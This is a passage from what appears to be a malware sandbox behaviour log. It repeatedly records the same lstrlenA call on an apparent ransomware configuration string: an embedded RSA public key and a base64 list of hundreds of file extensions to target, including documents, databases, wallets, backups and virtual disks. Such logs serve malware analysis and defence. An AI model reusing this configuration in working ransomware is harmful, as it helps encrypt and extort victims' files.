iwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0052.468] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4